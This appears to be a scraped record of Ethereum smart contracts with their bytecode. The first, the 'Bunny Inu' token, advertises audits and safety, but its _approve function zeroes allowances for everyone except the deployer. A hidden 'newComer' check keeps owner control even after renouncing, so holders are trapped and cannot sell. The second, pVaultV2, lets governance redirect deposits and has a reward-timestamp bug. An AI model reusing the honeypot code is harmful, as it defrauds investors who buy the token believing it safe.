/* Bunny Inu ($BUNNY) 🐰 BunnySwap! The cutest new way to trade your ERC-20 tokens! 🐰 CarrotFarms! A hot new way to make your income multiply like Bunnies! 🐰 NFTs! Cute AND collectible! 🐰 P2E Bunny Inu game! 🐰 Certik audit! Know your Bunny is SAFE! 🐰 And MUCH more we can't talk about yet! 💬: https://t.me/BunnyInu 🐦: https://twitter.com/BunnyInu_Eth 💻: https://bunnyinu.io/ 📖: https://www.facebook.com/Bunny-Inu-103182288891538/ 🛑: https://new.reddit.com/user/bunnyinu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract bunnyinu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Bunny Inu ' ; string private _symbol = 'BunnyInu '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a49b7b67c6a87854463c01a65aa97d445055d9a72f05bf09c0ff99cf3e52897f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,642
0x86969cfa6f4d7915e3cd7e6228d9de4efbcebb5e
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b506040805160608101825282815242